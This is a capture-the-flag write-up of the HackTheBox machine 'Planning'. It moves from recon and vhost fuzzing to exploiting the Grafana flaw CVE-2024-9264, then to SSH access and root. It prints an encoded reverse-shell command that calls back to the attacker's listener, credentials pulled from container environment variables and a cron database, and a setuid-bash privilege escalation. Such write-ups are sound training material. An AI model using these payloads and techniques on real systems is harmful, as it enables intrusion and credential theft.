HackTheBox - planning writeup (Linux/Easy)
planning
is an assume-breach box where you’re given the credentials of admin
, which at first is not apparent where to use them. The box had a Grafana instance running that was vulnerable to CVE-2024-9264 (RCE) that dropped me to a Docker container. I found SSH credentials in the environment variables. Once I was logged in via SSH I found credentials to an internal website running Crontab UI, that I used to create a crontab job as root to escalate my privileges.
Recon
I run nmap on the host which found port 80 and 22 open
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sSVC -A -vv -oA planning 10.10.11.68
Scanning 10.10.11.68 [1000 ports]
Discovered open port 22/tcp on 10.10.11.68
Discovered open port 80/tcp on 10.10.11.68
Completed SYN Stealth Scan at 19:11, 2.15s elapsed (1000 total ports)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg=
| 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
the webserver redirected to http://planning.htb/
so I went ahead of added that to my /etc/hosts
file and gave it a vist
Foothold
the website didn’t really have any interesting functionalities, or any at all, it had 2 forms, a contract form, which after examining with burpsuite revealed that it didn’t actually submit any data
there was also another form to enroll in courses which did submit some data
but the website always return the same response after playing with the request
I was stuck here for a while, because while I had user credentials it wasn’t apparent there I would use them, so I took a step back and started enumerating vhosts with different wordlist other than the good’ol raft-medium-files-lowercase.txt
to eventually find a grafana.planning.htb
with namelist.txt
wordlist form Seclist repo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u http://planning.htb -w namelist.txt -H 'Host: FUZZ.planning.htb' -ac
/''___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 172ms]
:: Progress: [151265/151265] :: Job [1/1] :: 209 req/sec :: Duration: [0:12:31] :: Errors: 0 ::
we find a grafana instance version 11.0.0, where the admin
user creds worked
after looking around I found that grafana v11.0.0 is vulnerable to CVE-2024-9264
leading to file inclusion and RCE
I used this exploit to confirm and exploit the CVE, I started with reading /etc/passwd
which only no users with shells except for root
which was the first sign that it’s likely a docker container
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
from there I got reverse shell using the same exploit
1
2
3
$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMjQvMTAwMDAgMD4mMQo=|base64 -d|bash' http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMjQvMTAwMDAgMD4mMQo=|base64 -d|bash
meanwhile in my other terminal
1
2
3
4
5
$ nc -lnvp 10000
Connection from 10.10.11.68:52500
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~#
the hostname 7ce659d667d7
confirmed that I’m inside a docker container
enzo
usually containers environment has some secrets for init scripts to work, so I checked the env and found some credentials I used to login as enzo via ssh and grabbed the user flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@7ce659d667d7:~# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
root
once I logged in as enzo, I looked around in the file system and found an unusual crontab file under /opt
which had a password inside of it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enzo@planning:~$ cat user.txt
b8****************************6a
enzo@planning:/opt/crontabs$
enzo@planning:/opt/crontabs$ ls /opt/
containerd crontabs
enzo@planning:/opt/crontabs$ ls /opt/crontabs/
crontab.db
enzo@planning:/opt/crontabs$ cat crontab.db | jq
{
"name": "Grafana backup",
"command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
"schedule": "@daily",
"stopped": false,
"timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740774983276,
"saved": false,
"_id": "GTI22PpoJNtRKg0W"
}
{
"name": "Cleanup",
"command": "/root/scripts/cleanup.sh",
"schedule": "* * * * *",
"stopped": false,
"timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740849309992,
"saved": false,
"_id": "gNIRXh1WIc9K7BYX"
}
this looks exactly like crontab configuration, just in the wrong format and the wrong place, with the first task mentioning the password P4ssw0rdS0pRi0T3c
after more digging I found a few ports running internally in the box
1
2
3
4
5
6
7
8
9
10
11
enzo@planning:/opt/crontabs$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:33003 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 *:22 *:*
trying to connect to 8000 yields a HTTP/1.1 401 Unauthorized
hinting that it’s running an http server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
enzo@planning:~$ curl 127.0.0.1:8000 -v
* Trying 127.0.0.1:8000...
* Connected to 127.0.0.1 (127.0.0.1) port 8000
> GET / HTTP/1.1
> Host: 127.0.0.1:8000
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< X-Powered-By: Express
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
< Date: Sun, 21 Sep 2025 19:16:00 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 127.0.0.1 left intact
enzo@planning:~$
so I used ssh local port forward to expose the website and interact with it from my machine
1
$ ssh -L 8000:localhost:8000 enzo@planning.htb
since I had a password but not a username, I tried a few usernames such as grafana, enzo, root, and root worked, and I was dropped into an instance of crontabUI
where I could find the 2 services I saw in /opt/crontabs/crontab.db
I registered a new job to copy /bin/bash
to /tmp
and give it setuid
bit
then executed the job using the Run now
button instead of waiting
and got my root shell
1
2
3
4
5
6
7
8
enzo@planning:~$ ls -lh /tmp/jeffy
-rwsr-sr-x 1 root root 1.4M Sep 21 19:28 /tmp/jeffy
enzo@planning:~$ /tmp/jeffy -p
jeffy-5.2# whoami
root
jeffy-5.2# ls /root/
root.txt scripts
jeffy-5.2#